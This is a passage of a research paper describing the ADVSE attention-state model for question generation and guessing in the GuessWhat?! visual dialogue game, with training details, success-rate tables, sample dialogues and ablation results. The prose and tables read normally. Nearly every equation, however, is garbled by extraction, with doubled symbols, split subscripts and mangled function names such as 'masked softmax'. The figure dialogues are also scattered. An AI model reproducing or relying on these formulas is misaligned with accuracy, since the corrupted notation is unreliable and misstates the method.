dialogue. In concrete, the t-th round question 𝑞𝑞𝑡𝑡 , which includes m
words and whose word embeddings are {𝑤𝑤𝑞𝑞

𝑡𝑡𝑡1, . . . ,𝑤𝑤
𝑞𝑞
𝑡𝑡𝑡𝑡𝑡}, is encoded

by 𝐺𝐺𝑅𝑅𝐺𝐺𝑤𝑤 :

ℎ
𝑞𝑞

𝑡𝑡𝑡𝑡𝑡
= 𝐺𝐺𝑅𝑅𝐺𝐺𝑤𝑤 (𝑤𝑤𝑞𝑞

𝑡𝑡𝑡𝑡𝑡
, ℎ

𝑞𝑞

𝑡𝑡𝑡𝑡𝑡−1). (2)

We use the last hidden state 𝑄𝑄𝑡𝑡 = ℎ
𝑞𝑞
𝑡𝑡𝑡𝑡𝑡 as the representation of

the question.
Similarly, the representation of current answer 𝐴𝐴𝑡𝑡 can be ob-

tained. By feeding 𝑄𝑄𝑡𝑡 and 𝐴𝐴𝑡𝑡 to the upper layer 𝐺𝐺𝑅𝑅𝐺𝐺 𝑐𝑐 , the repre-
sentation of t-th round dialogue history 𝐻𝐻𝑡𝑡 is obtained:

𝐻𝐻𝑡𝑡 = 𝐺𝐺𝑅𝑅𝐺𝐺 𝑐𝑐 ( [𝑄𝑄𝑡𝑡 ;𝐴𝐴𝑡𝑡 ], 𝐻𝐻𝑡𝑡−1). (3)

3.2 ADFA-ASU
During the visual dialogue process, the attention state to the image
dynamically updates, driven by the dialogue history and the current
QA. In this section, we formulate the attention updating process
by the proposed ADFA-ASU. At t-th round, the attention state
𝑖𝑖𝑎𝑎𝑎𝑎𝑡𝑡 is updated by two parts: current QA caused Answer-Driven
Focusing Attention (ADFA) 𝑖𝑖𝑎𝑎𝑎𝑎𝑞𝑞𝑡𝑡 and history guided attention 𝑖𝑖𝑎𝑎𝑎𝑎ℎ𝑡𝑡 .
The concrete modeling of 𝑖𝑖𝑎𝑎𝑎𝑎𝑞𝑞𝑡𝑡 and 𝑖𝑖𝑎𝑎𝑎𝑎ℎ𝑡𝑡 are described below:

Firstly, in Answer-Driven Focusing Attention (ADFA), the cur-
rent turn QA-guided focusing attention state 𝑖𝑖𝑎𝑎𝑎𝑎𝑞𝑞𝑡𝑡 is modeled by
the following four steps:

Step 1, calculate the question-guided image attention 𝛼𝛼
𝑞𝑞
𝑡𝑡 accord-

ing to Eq. 4-7:
𝑄𝑄𝑡𝑡
𝑡𝑡 = {ℎ𝑞𝑞

𝑡𝑡𝑡𝑡𝑡
}𝑡𝑡𝑡𝑡=1, (4)

𝑄𝑄𝑘𝑘
𝑡𝑡 = 𝑠𝑠𝑠𝑠 𝑠𝑠 𝑎𝑎𝑖𝑖𝑖𝑖𝑠𝑠 (𝑄𝑄𝑡𝑡

𝑡𝑡 𝑊𝑊
𝑘𝑘
𝑞𝑞 )𝑇𝑇 ⊙ 𝑄𝑄𝑡𝑡

𝑡𝑡 , 𝑄𝑄𝑡𝑡 = [𝑄𝑄1
𝑡𝑡 ; 𝑄𝑄2

𝑡𝑡 ], (5)

𝐹𝐹
𝑞𝑞
𝑡𝑡 =𝑊𝑊𝑄𝑄

𝑄𝑄𝑡𝑡 ⊙𝑊𝑊
𝑞𝑞

𝐼𝐼
𝐼𝐼 , (6)

𝛼𝛼
𝑞𝑞
𝑡𝑡 = 𝑆𝑆𝑠𝑠 𝑠𝑠 𝑎𝑎𝑖𝑖𝑖𝑖𝑠𝑠 (𝑊𝑊 𝑞𝑞

𝐹𝐹
𝐹𝐹
𝑞𝑞
𝑡𝑡 + 𝑖𝑖). (7)

In order to extract the important information within a question,
a 2-glimpse attention is utilized to extract the current question
feature 𝑄𝑄𝑡𝑡 as in Eq. 4-5. The textual question feature and visual
feature is then fused by Hadamard Product (Eq. 6). To enable end-
to-end training with the subsequent discrete decision, we introduce
Gumbel-Softmax sampler [8] as well as the Gumbel-Softmax train-
ing trick [9, 12] to compute the attention distribution as in Eq. 7. In
concrete, we add 𝑖𝑖 (i.i.d. samples from Gumbel distribution) before
the softmax activation during the training stage.

Step 2, polarize the 𝛼𝛼𝑞𝑞𝑡𝑡 by a sharpening operation as shown in
Eq. 8-9 to figure out the question-correlated objects:

𝑛𝑛𝑠𝑠𝑛𝑛𝑖𝑖(𝛼𝛼𝑞𝑞𝑡𝑡 ) =
𝛼𝛼
𝑞𝑞
𝑡𝑡 −𝑖𝑖𝑖𝑖𝑛𝑛(𝛼𝛼𝑞𝑞𝑡𝑡 )

𝑖𝑖𝑖𝑖𝑠𝑠 (𝛼𝛼𝑞𝑞𝑡𝑡 ) −𝑖𝑖𝑖𝑖𝑛𝑛(𝛼𝛼𝑞𝑞𝑡𝑡 )
, (8)

𝑃𝑃 (𝛼𝛼𝑞𝑞
𝑡𝑡𝑡𝑘𝑘

) =

1, 𝑖𝑖 𝑠𝑠 𝑛𝑛𝑠𝑠𝑛𝑛𝑖𝑖(𝛼𝛼𝑞𝑞

𝑡𝑡𝑡𝑘𝑘
) > 𝛾𝛾,

0, 𝑖𝑖𝑒𝑒𝑠𝑠𝑖𝑖.
(9)

The attention sharpening operation project the attention weight
of each block 𝛼𝛼𝑞𝑞

𝑡𝑡𝑡𝑘𝑘
∈ 𝛼𝛼

𝑞𝑞
𝑡𝑡 ∈ (0, 1) into a binary value 𝑃𝑃 (𝛼𝛼𝑞𝑞

𝑡𝑡𝑡𝑘𝑘
) ∈ {0, 1}.

It first applies the max-min normalization to 𝛼𝛼𝑞𝑞𝑡𝑡 and gets 𝑛𝑛𝑠𝑠𝑛𝑛𝑖𝑖(𝛼𝛼𝑞𝑞𝑡𝑡 )
(Eq. 8), then filters the normalized attention by a threshold 𝛾𝛾 (i.e. a
hyperparameter) to get the polarized value 𝑃𝑃 (𝛼𝛼𝑞𝑞

𝑡𝑡𝑡𝑘𝑘
) (Eq. 9), which

represents whether the object 𝑖𝑖𝑘𝑘 correlates to what 𝑞𝑞𝑡𝑡 asks.
Step 3, based on 𝑃𝑃 (𝛼𝛼𝑞𝑞𝑡𝑡 ), the answer to 𝑞𝑞𝑡𝑡 is used to determine

the direction of the attention mask𝑀𝑀
𝑞𝑞
𝑡𝑡 as shown in Eq. 10:

𝑀𝑀
𝑞𝑞
𝑡𝑡 =




𝑃𝑃 (𝛼𝛼𝑞𝑞𝑡𝑡 ), 𝑖𝑖 𝑠𝑠 𝑖𝑖𝑡𝑡 == 𝑌𝑌𝑌𝑌𝑆𝑆,

1 − 𝑃𝑃 (𝛼𝛼𝑞𝑞𝑡𝑡 ), 𝑖𝑖 𝑠𝑠 𝑖𝑖𝑡𝑡 == 𝑅𝑅𝑁𝑁,

1, 𝑠𝑠𝑎𝑎ℎ𝑖𝑖𝑛𝑛𝑤𝑤𝑖𝑖𝑠𝑠𝑖𝑖.

(10)

If the answer is “yes”, the attention mask is 𝑃𝑃 (𝛼𝛼𝑞𝑞𝑡𝑡 ), which means
the agent will hold attention on the currently concerned objects.
The agent will keep paying close attention to the objects with the
𝑃𝑃 (.) of 1 and keep paying no attention to those objects with the
𝑃𝑃 (.) of 0. If the answer is “no”, the attention mask is 1 − 𝑃𝑃 (𝛼𝛼𝑞𝑞𝑡𝑡 ),
which means the attentions on objects is going to be reversed. The
agent will transfer its attentions to other objects whose 𝑃𝑃 (.) is 0 and
no longer concern the objects whose 𝑃𝑃 (.) is 1 as they are denied
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Figure 2: Block Diagram of the proposed Answer-Driven Visual State Estimator (ADVSE).

by the Oracle. Otherwise, if the answer is "N/A", the 𝑎𝑎𝑎𝑎𝑎𝑎𝑞𝑞𝑡𝑡 will be
kept unchanged, which is achieved by letting the elements in𝑀𝑀

𝑞𝑞
𝑡𝑡

be 1 for all candidates. In this way, the answer plays a key role on
forming the subsequent visual attention and therefore affects the
visual state.

Step 4, after calculating the influence of current round of ques-
tion and answer, we update the focusing attention state 𝑎𝑎𝑎𝑎𝑎𝑎𝑞𝑞𝑡𝑡 . The
obtained attention mask 𝑀𝑀

𝑞𝑞
𝑡𝑡 is applied on the previous attention

state 𝑎𝑎𝑎𝑎𝑎𝑎𝑡𝑡−1 by a Hadamard Product, and is then normalized. A
learnable parameter 𝜏𝜏 and masked softmax are utilized to adjust
the updated 𝑎𝑎𝑎𝑎𝑎𝑎𝑞𝑞𝑡𝑡 as shown in Eq. 11:

𝑎𝑎𝑎𝑎𝑎𝑎
𝑞𝑞
𝑡𝑡 =𝑚𝑚𝑎𝑎𝑚𝑚𝑚𝑚𝑚𝑚𝑚𝑚𝑚𝑚𝑚𝑚 𝑚𝑚 𝑎𝑎𝑚𝑚𝑎𝑎𝑚𝑚 (

𝑁𝑁𝑚𝑚𝑁𝑁𝑚𝑚(𝑀𝑀𝑞𝑞
𝑡𝑡 ⊙ 𝑎𝑎𝑎𝑎𝑎𝑎𝑡𝑡−1)
𝜏𝜏

). (11)

Secondly, the history guided attention is calculated as follows:

𝑎𝑎𝑎𝑎𝑎𝑎ℎ𝑡𝑡 = 𝑚𝑚𝑚𝑚 𝑚𝑚 𝑎𝑎𝑚𝑚𝑎𝑎𝑚𝑚 (𝑊𝑊𝐻𝐻
𝐹𝐹 (𝑊𝑊𝐻𝐻

𝑡𝑡 𝐻𝐻𝑡𝑡 ⊙𝑊𝑊𝐻𝐻
𝐼𝐼 𝐼𝐼 )). (12)

Finally, we get the estimated attention state 𝑎𝑎𝑎𝑎𝑎𝑎𝑡𝑡 by adding 𝑎𝑎𝑎𝑎𝑎𝑎𝑞𝑞𝑡𝑡
and 𝑎𝑎𝑎𝑎𝑎𝑎ℎ𝑡𝑡 :

𝑎𝑎𝑎𝑎𝑎𝑎𝑡𝑡 = 𝑎𝑎𝑎𝑎𝑎𝑎ℎ𝑡𝑡 + 𝑎𝑎𝑎𝑎𝑎𝑎
𝑞𝑞
𝑡𝑡 (13)

The attention state is dynamically updated and gradually focused
in this way as successive QA pair generates.

3.3 CVIF
In CVIF, we firstly compute the attended difference information
𝐷𝐷𝑡𝑡
𝑎𝑎𝑡𝑡𝑡𝑡 and the attended overall information 𝐼𝐼𝑡𝑡𝑎𝑎𝑡𝑡𝑡𝑡 based on the atten-

tion state estimated in ADFA-ASU. Finally, we fuse the two types
of visual information conditioning on the current QA to obtain the
current visual state estimation 𝑉𝑉𝑡𝑡 .

First, the difference information between the mostly focused
object and others is achieved in two steps as follows:

Step 1, select the mostly focused object 𝑖𝑖𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑡𝑡𝑠𝑠𝑠𝑠𝑡𝑡 according to
the 𝑎𝑎𝑎𝑎𝑎𝑎𝑡𝑡 :

𝑚𝑚𝑚𝑚𝑠𝑠𝑚𝑚𝑠𝑠𝑎𝑎𝑚𝑚𝑚𝑚𝑡𝑡 = 𝑎𝑎𝑁𝑁𝑎𝑎𝑚𝑚𝑎𝑎𝑚𝑚 (𝑎𝑎𝑎𝑎𝑎𝑎𝑡𝑡 ). (14)

Step 2, compute the difference between 𝑖𝑖𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑡𝑡𝑠𝑠𝑠𝑠𝑡𝑡 and other ob-
ject, and then get the focused difference information guided by 𝑎𝑎𝑎𝑎𝑎𝑎𝑡𝑡 ,
as described by the following formulas:

𝐷𝐷𝑡𝑡
𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑡𝑡𝑠𝑠𝑠𝑠

= {𝑖𝑖𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑡𝑡𝑠𝑠𝑠𝑠𝑡𝑡 − 𝑖𝑖 𝑗𝑗 }𝑁𝑁𝑗𝑗=1, (15)

𝐷𝐷𝑡𝑡
𝑎𝑎𝑡𝑡𝑡𝑡 = 𝐷𝐷𝑡𝑡

𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑠𝑡𝑡𝑠𝑠𝑠𝑠
⊗ 𝑎𝑎𝑎𝑎𝑎𝑎𝑡𝑡 . (16)

Then, the overall feature is calculated by:
𝐼𝐼𝑡𝑡𝑎𝑎𝑡𝑡𝑡𝑡 = 𝐼𝐼 ⊗ 𝑎𝑎𝑎𝑎𝑎𝑎𝑡𝑡 . (17)

Finally, 𝐷𝐷𝑡𝑡
𝑎𝑎𝑡𝑡𝑡𝑡 and 𝐼𝐼𝑡𝑡𝑎𝑎𝑡𝑡𝑡𝑡 are fused conditioning on current QA-pair.

The QA pair is first encoded as shown in Eq. 18, and then normalized
by softmax to obtain the conditioning factor 𝜆𝜆𝑡𝑡 as shown in Eq. 19.
Then the estimated visual state𝑉𝑉𝑡𝑡 is obtained by weighted summing
the 𝐷𝐷𝑡𝑡

𝑎𝑎𝑡𝑡𝑡𝑡 and 𝐼𝐼𝑡𝑡𝑎𝑎𝑡𝑡𝑡𝑡 with the factor 𝜆𝜆𝑡𝑡 , as shown in Eq. 20.

ℎ
𝑝𝑝
𝑡𝑡𝑡𝑞𝑞 = 𝐺𝐺𝐺𝐺𝐺𝐺 𝑝𝑝 (𝑞𝑞𝑡𝑡 , ℎ0), 𝑃𝑃𝑡𝑡 = 𝐺𝐺𝐺𝐺𝐺𝐺 𝑝𝑝 (ℎ𝑝𝑝𝑡𝑡𝑡𝑞𝑞, 𝑎𝑎𝑡𝑡 ), (18)

(𝜆𝜆𝑡𝑡 , 1 − 𝜆𝜆𝑡𝑡 ) = 𝑚𝑚𝑚𝑚 𝑚𝑚 𝑎𝑎𝑚𝑚𝑎𝑎𝑚𝑚 (𝑊𝑊𝑝𝑝𝑃𝑃𝑡𝑡 ), (19)
𝑉𝑉𝑡𝑡 = 𝜆𝜆𝑡𝑡 ⊙ 𝐷𝐷𝑡𝑡

𝑎𝑎𝑡𝑡𝑡𝑡 + (1 − 𝜆𝜆𝑡𝑡 ) ⊙ 𝐼𝐼𝑡𝑡𝑎𝑎𝑡𝑡𝑡𝑡 . (20)
Visual state estimation is a soft fusion of difference information

and overall information conditioned on current QA-pair, which
strengthens again the influence of current answer.

4 USING ADVSE FOR QGEN AND GUESSER
ADVSE is a general framework for goal-oriented visual dialogue. In
this section, we apply it to model the Question Generator (QGen)
and Guesser in GuessWhat?! game. We firstly combine the ADVSE
with an ordinary hierarchical history encoder to get the multimodal
dialogue representation:

𝐹𝐹𝑡𝑡 = 𝑎𝑎𝑎𝑎𝑡𝑡ℎ(𝑊𝑊𝑓𝑓 [𝐻𝐻𝑡𝑡 ;𝑉𝑉𝑡𝑡 ]). (21)
In which, 𝐻𝐻𝑡𝑡 is the encoding of dialogue history (as in Eq. 3) and
𝑉𝑉𝑡𝑡 is the visual state estimated by ADVSE (as in Eq. 20). They are
concatenated and then projected by an MLP to get the multimodal
dialogue representation 𝐹𝐹𝑡𝑡 .

On the basis of 𝐹𝐹𝑡𝑡 , the ADVSE-QGen and ADVSE-Guesser are
introduced as follows.
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Figure 3: Using ADVSE for QGen and Guesser.

4.1 ADVSE-QGen Model
In the process of visual dialogue, given image I, dialogue history
𝐻𝐻 = {(𝑞𝑞1, 𝑎𝑎1), . . . , (𝑞𝑞𝑡𝑡 , 𝑎𝑎𝑡𝑡 )}, the QGen model needs to generate new
question 𝑞𝑞𝑡𝑡+1 = (𝑤𝑤𝑡𝑡+1

0 ,𝑤𝑤𝑡𝑡+1
1 , . . . ,𝑤𝑤𝑡𝑡+1

𝑚𝑚 ), so as to get more informa-
tion of the target object. As shown in Figure 3(a), the ADVSE-QGen
Model is mainly modeled by ADVSE, HRED and a decoder.

Specifically, after ADVSE-based multimodal representation 𝐹𝐹𝑡𝑡 is
obtained, the decoder takes 𝐹𝐹𝑡𝑡 as the initial incentive:

ℎ
𝑡𝑡𝑡0
𝑑𝑑𝑑𝑑𝑑𝑑

= 𝐹𝐹𝑡𝑡 . (22)

The decoder is a single-layer GRU. The word vector is concate-
nated with the visual state estimation 𝑉𝑉𝑡𝑡 and the previous state,
then used as the input at current state to predict the next word:

𝑤𝑤𝑡𝑡+1
𝑖𝑖 = 𝐺𝐺𝐺𝐺𝐺𝐺𝑑𝑑 ( [𝑤𝑤𝑡𝑡+1

𝑖𝑖−1 ;𝑉𝑉𝑡𝑡 ], ℎ
𝑡𝑡𝑡𝑖𝑖−1
𝑑𝑑𝑑𝑑𝑑𝑑

). (23)

When stop token appears, the generation ends.

4.2 ADVSE-Guesser Model
With image I and completed dialogue history𝐻𝐻 = {(𝑞𝑞1, 𝑎𝑎1), . . . , (𝑞𝑞𝑇𝑇 , 𝑎𝑎𝑇𝑇 )}
in hands, a Guesser is expected to select the target object 𝑜𝑜∗ from
the candidates𝑂𝑂 = {𝑜𝑜1, 𝑜𝑜2, . . . , 𝑜𝑜𝑛𝑛} while it has access to the spatial
information 𝑠𝑠𝑂𝑂 and the category information 𝑐𝑐𝑂𝑂 in addition. The
ADVSE-Guess Model is mainly modeled by ADVSE, HRED and a
classifier as shown in Figure 3(b).

The classifier first encodes the object representation 𝑟𝑟𝑂𝑂 from its
category and spatial information as in Eq. 24, which is the same as
the previous models [22].

𝑟𝑟𝑂𝑂 = 𝐺𝐺𝑅𝑅𝑅𝑅𝐺𝐺 (𝑊𝑊 2
𝑜𝑜 𝐺𝐺𝑅𝑅𝑅𝑅𝐺𝐺 (𝑊𝑊 1

𝑜𝑜 [𝑠𝑠𝑂𝑂 ; 𝑐𝑐𝑂𝑂 ])). (24)

Then, softmax function is applied on the dot product between
𝐹𝐹𝑇𝑇 and 𝑟𝑟𝑂𝑂 to get the probability distribution. At last, the one with
the maximum probability is selected:

𝑜𝑜𝑝𝑝𝑝𝑝𝑑𝑑𝑑𝑑𝑖𝑖𝑑𝑑𝑡𝑡 = 𝑎𝑎𝑟𝑟𝑎𝑎𝑎𝑎𝑎𝑎𝑎𝑎 (𝑠𝑠𝑜𝑜 𝑠𝑠 𝑠𝑠𝑎𝑎𝑎𝑎𝑎𝑎 (𝐹𝐹𝑇𝑇
′
𝑟𝑟𝑂𝑂 )). (25)

5 EXPERIMENTS
We evaluate the models on the GuessWhat?! dataset, which has
155,281 dialogues based on 66,537 images, containing 134,074 differ-
ent objects. There are 821,955 question-answer pairs in the dataset
while the vocabulary size is 4900. We use standard dataset split
(train set, validate set, test set).

In this section, we firstly report experimental results of ADVSE-
QGen and ADVSE-Guesser respectively. We introduce the training
details and evaluation metric, make comparisons with the state-
of-the-art models and provide qualitative results. To verify the
contribution of each component under different tasks, we conduct
ablation study on both ADVSE-QGen and ADVSE-Guesser. Further,
we report the experimental results of jointly using ADVSE-QGen
and ADVSE-Guesser. The codes of our models are available at
https://github.com/zipengxuc/ADVSE-GuessWhat.

5.1 ADVSE-QGen
5.1.1 Training Details. The QGen model is firstly trained in super-
vised way, and then trained by reinforcement learning.

In supervised learning, we minimized the negative likelihood
loss. We use Adam [10] with an initial learning rate of 1e-3, a batch
size of 64 to train the QGen model for 20 epochs. Learning rate is
decayed by 0.9 per epoch. The hyperparameter 𝛾𝛾 in Sharpening
Operation is set as 0.7.

Further, we train the model using the same reinforcement learn-
ing method as the baseline model [22], where the QGen is modeled
as a Markov Decision Process and uses the 0-1 reward that depends
on whether a right guess can be made. We use Stochastic Gradient
Descent (SGD) to train the model for 500 epochs with a learning
rate of 1e-3 and a batch size of 64. We set the maximum round T =
8, the maximum length of each sentence m = 12. We use the same
standard Oracle and Guesser as [22] while the trained benchmark
Oracle and Guesser’s errors on the test set are 21.9% and 35.9%,
respectively.

5.1.2 Evaluation Metric and Comparison Models. Following ex-
isting studies (such as [6]), we use the game success rate as the
evaluation metric and evaluate in 3 generating way (i.e., sampling,
greedy, and beam search (beam size=20)) by 2 test settings, i.e. New
Object (games with seen images in train set but randomly sampled
new target) and New Image (games with unseen images in test set).

We make comparisons in supervised training fashion and ad-
vanced training fashion (includes reinforcement learning and co-
operative learning) respectively. The 3 supervised models are: the
baseline SL [6], the DM [18] and the current state-of-the-art model
VDST-SL [13]; 9 advanced training models are: baseline RL [22],
GDSE-C [19], TPG [27], VQG [26], ISM [1], Bayesian [2], RIG as
rewards (RIG-1), RIG as a loss with 0-1 rewards (RIG-2) [20] and
the current state-of-the-art model VDST-RL [13].

5.1.3 Quantitative Results. Table 1 shows the comparisons among
models in supervised learning and reinforcement learning, respec-
tively. To be fair, all models in comparisons use the standard Oracle
and Guesser model in this part.

Supervised learning. As in the upper part of Table 1, our
ADVSE-QGen achieves the best performance. With the standard
Guesser [22], the model achieves the success rate of 50.66% on New
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Table 1: A comparison results of QGen on the task success rate evaluated by two types of Guesser, i.e. the standard Guesser[22]
and the proposed ADVSE-Guesser. The upper part shows the results in SL while the bottom part shows the results in RL.

Approach (%)New object (%)New game
Sampling Greedy Beam-search Best Sampling Greedy Beam-Search Best

Guesser[22]

SL 41.6 43.5 47.1 47.1 39.2 40.8 44.6 44.6
DM - - - - - - - 42.19
VDST-SL 45.02 49.49 - 49.49 44.24 45.94 - 45.94
ADVSE-QGen 47.55 50.66 47.47 50.66 44.75 47.03 44.70 47.03

ADVSE-Guesser ADVSE-QGen 48.01 54.06 50.66 54.06 46.32 50.94 47.89 50.94

Guesser[22]

RL 62.8 58.2 53.9 62.8 60.8 56.3 52.0 60.8
VQG 63.2 63.6 63.9 63.9 59.8 60.7 60.8 60.8
Bayesian 61.4 62.1 63.6 63.6 59.0 59.8 60.6 60.6
GDSE-C - - - 63.3 - - - 60.7
ISM - 64.2 - 64.2 - 62.1 - 62.1
TPG - - - - - - - 62.6
RIG-1 65.20 63.00 63.08 65.20 64.06 59.00 60.21 64.06
RIG-2 67.19 63.19 62.57 67.19 65.79 61.18 59.79 65.79
VDST-RL 69.51 70.55 71.03 71.03 66.76 67.73 67.52 67.73
ADVSE-QGen 71.26 72.73 72.24 72.73 68.82 69.88 69.88 69.88

ADVSE-Guesser ADVSE-QGen 72.38 73.59 73.73 73.73 70.61 71.10 71.27 71.27

object and 47.03% on New game, exceeding the state-of-the-art
model VDST-SL in all settings.

Reinforcement learning. As can be seen in Table 1 (lower
part), the success rate of our ADVSE-QGen is significantly better
than the previous methods in any case. Even though we use a sim-
ple 0-1 reward, compared with other models that use more finely
designed rewards, we still achieve better performance. For example,
our model achieves 9.08 points of improvement on New game com-
pared to the VQG model, which designs three fine-grained rewards.
Compared with the RIG-1 model that uses informative reward, our
model achieves a higher success rate of 5.82 points on New game
and 7.53 points on New object. Compared with the current state-of-
the-art model VDST-RL, we have improved the success rate in all
aspects, gaining an absolute advantage of 2.15 points on New game.
In summary, using the benchmark Guesser [22] as the training
environment, our model has achieved a maximum success rate of
72.73% on New object and 69.88% on New game, and achieves the
new state of the art.

5.1.4 Qualitative Results. Figure 4 shows a visualized example of
the question generation process and the changing of visual attention
state (𝑎𝑎𝑎𝑎𝑎𝑎𝑡𝑡 ) in our model. In each subgraph, the blue box annotates
the target object; the red, orange and yellow boxes annotate the
candidates with the top-3 largest attention weights at current round.
As we can see, at the beginning of the conversation (round 1), the
agent asks the "Is it a person?". After getting the answer of "no", the
attention shifts to the non-persons and asks, "Is it a truck?" (round
2). The Agent keeps on asking new objects until a positive answer
to “Is it a car?” is received, the attention is then focused on the
differences among various cars, such as position, e.g. “Is it in front?”
is raised (round 4). Driven by following QA pairs, the attention state
gradually focuses to the target object that is the more front-end car
in the picture (round 8). It can be seen that the questions generated
in each round are highly related to the current interested visual

Is it a person?
Is it a truck?
Is it a car?
Is it in front?

no
no
yes
no

Is it a person?
Is it a truck?
Is it a car?
Is it in front?
Is it in left?
Is it in right?
Is it front one?
Is it 1st front one?

no
no
yes
no
no
yes
yes
no

Is it a person? Is it a person?
Is it a truck?

no no
no

round 1

round 4

round 2

round 8

Figure 4: Illustration for the process of question generation.

content, and the attention state changes according to the acquired
answer. These phenomena fit well with the designed mechanisms.

Figure 5 gives additional dialogue examples generated byADVSE-
QGen under different training settings. As can be seen, the gener-
ated questions are highly related to the image. As the first example
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Is it a person?
Is it the man in the
foreground?
Is it the man in the
middle of the screen?
Is it all of the man that
we can see?
Is it all of that man?

yes
no

yes

yes

yes

 success√

Is it furniture?
Is it on the table?
Is it the tv?
The whole thing?
The whole thing?

       

no
yes
yes
yes
yes

 success√

Is it a person?
Is it the person holding
the broad?
Is it the person in the
background?
Is it the person wearing
white?
Is it the person wearing
a white shirt?                

yes
no

yes

yes

no

 success√

(a) Generated dialogue samples of the ADVSE-QGen trained by Supervised Learning.

Is it a person?
Is it a bat?
Is it in front?
Is it in left?
Is it 1st left one?
Is it front one?
Is it top one?
Is it top one?
             success√

no
yes
yes
yes
yes
yes
yes
yes

Is it a bed?
Is it a chair?
Is it in front?
Is it in left?
Is it 1st front one?
Is it front one?
Is it top one?
Is it middle one?
             success√

no
yes
yes
yes
yes
yes
no
no

Is it a person?
Is it a phone?
Is it in front?
Is it in left?
Is it 1st left one?
Is it middle one?
Is it left one?
Is it 1st front one?
             success√

no
yes
yes
yes
no
no
yes
no

(b) Generated dialogue examples of ADVSE-QGen trained by Reinforcement Learning with the standard Guesser.

Is a furniture?
Is a bed?
Is a chair?
Is a table?
On the left?
On the right?
In the front?
In the middle?
             success√

yes
no
no
yes
no
yes
yes
no

Is a person?
Is a truck?
Is a sheep?
On the left?
On the right?
In the middle?
In the front?
On the top?
             success√

no
no
yes
no
no
yes
no
no

Is a person?
Is a furniture?
Is a plant?
Is a glass?
On the left?
On the right?
In the front?
In the middle?
             success√

no
no
no
yes
no
yes
yes
no

(c) Generated dialogue examples of the ADVSE-QGen trained by Reinforcement Learning with the ADVSE-Guesser.

Figure 5: Generated dialogue examples of the ADVSE-QGen under different training settings. The target is annotated in red.

Table 2: Results of ablation study on QGen.

(%)SL (%)RL
New New New New
object game object game

ADVSE-QGen 50.66 47.03 72.73 69.88
w/o SO 48.05 45.93 72.04 68.96
w/o ADFA 47.69 45.21 70.48 68.20
w/o CVIF 47.77 45.68 70.90 68.40

in Figure 5(a), the agent raises detailed questions, such as "Is it the
person holding the board?" and "Is it the person wearing white?", that
describe the distinctive object feature comprehensively. Also, the
ADVSE-based agents seem to follow some specific strategies. No-
tably, positive answers always bring about more detailed questions
while negative answers lead to questions about the non-excluded
objects. Moreover, the model is able to generate questions in a fine-
grained differential style, such as "Is it the 1st front one?", which is
very efficient for achieving goals.

5.1.5 Ablation Study. We evaluate the individual contribution of
the following components: 1) SO: we remove the Sharpening Oper-
ation (SO) in ADFA so that the question-guided attention is directly
adjusted by the answer without polarizing afore; 2) ADFA: we re-
move the whole part of ADFA so that the attention is merely guided
by history; 3) CVIF: we remove the whole part of CVIF so that only
overall visual information can be used. We conduct the ablation
study with the standard Oracle and Guesser.

As in Table 2, the result is showed in two training fashions, Su-
pervised Learning (SL) and Reinforcement Learning (RL). It can be

seen that without ADFA and CVIF, the performance of QGen model
drops significantly, demonstrating their substantial contribution to
goal-oriented visual question generation. Besides, the Sharpening
Operation (SO) is validated to be an effective step in ADFA.

5.2 Guesser
5.2.1 Training Details. Guesser is trained in supervised way and is
optimized by minimizing the negative likelihood loss. We use the
Adam [10] optimizer to train the Guesser model for 20 epochs with
a learning rate of 1e-3, a batch size of 64. Learning rate is decayed
by 0.9 per epoch. The hyperparameter 𝛾𝛾 in Sharpening Operation
in ADFA is set as 0.7.

5.2.2 Evaluation Metric and Comparison Models. Guesser model
is evaluated by classification error rate. The 2 baseline models [6]:
HRED, HRED-VGG, 3 attention-based models PLAN [28], A-ATT
[7], HACAN [25], and 2 Feature-wise Linear Modulation (FiLM)
models: single-hop FiLM [14], multi-hop FiLM [23], are compared.

5.2.3 Quantitative Results. Table 3 compares the test error of Guess
models. Except for HRED (the first row in the table), all models
utilize image feature, dialogue history, object spatial and category
feature as input. As HRED+VGG compared to HRED, simply adding
image feature will decrease the performance. However, applying ap-
propriate attention mechanism to image helps the model to achieve
higher performance, according to the PLAN, A-ATT and HACAN
models. FiLM layers take effects either. Overall, it can be seen from
the table that the Guesser model with our ADVSE structure achieves
the lowest test error of 33.15%, exceeds all the previous models and
achieves the new state of the art.
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Table 3: Comparison Results of the Guesser.

Model (%)Test err

HRED 39.0
HRED+VGG 39.6
PLAN 36.6
A-ATT 35.8
Single-hop FiLM 35.7
Multi-hop FiLM 35.0
HACAN 34.1
ADVSE-Guesser 33.15
w/o SO 33.45
w/o ADFA 33.50
w/o CVIF 33.65

Is it a vehicle?
Is it a person?
             wrongX

Is it a vehicle?
Is it a person?
             success√

no
yes

no
no

Is it a person?
Is it in the background?
Is it a chair?
Is it a lamp?
Is it a pillow?
Is it a sofa?
Is it a cup?

             success√

no
yes
yes
yes
no
no
yes

Is it a person?
Is it in the background?
Is it a chair?
Is it a lamp?
Is it a pillow?
Is it a sofa?
Is it a cup?

             wrongX

no
yes
yes
yes
no
no
no

ground-truth history fake history

Figure 6: Visualization of the visual attention state in guess
process. The left column is provided with the ground-truth
history while the right column is provided with the fake his-
tory. The green box annotates the target object.

5.2.4 Qualitative Results. Figure 6 illustrates the qualitative exam-
ples on Guess model. To illustrate the proposed ADFA mechanism,
we visualize the visual attention state in the guess process. The
red, orange and yellow boxes annotate the candidates with the
top-3 largest attention weight. Further, we substitute the ground-
truth history by fake history to make comparisons. It is clear that
when current question is answered "yes", our guess model focuses
on the question-relevant objects. On the contrary, as in fake ex-
amples, when current question is answered with “no”, the model
immediately transfers the attention to question-irrelevant objects.
Moreover, as the right answers are taken place in the fake his-
tory, the guess results go wrong. The distinct results reflect the
effectiveness of the proposed ADFA.

5.2.5 Ablation Study. We evaluate the individual contribution fol-
lowing the same setting as in section 5.1.5, i.e. SO, ADFA and CVIF.

As in Table 3, without ADFA and CVIF, the Guesser results in com-
paratively worse performances. Besides, SO is still of significance
in Guesser. To further illustrate the effect of each part, we conduct
Significance Test on the four models. In concrete, we train each
model for 10 times with random initialization and then conduct
T-test on the collected data. Accordingly, ADFA, CVIF and SO are
verified to be significant (with the p-value of 0.001, 0.001, 0.01).

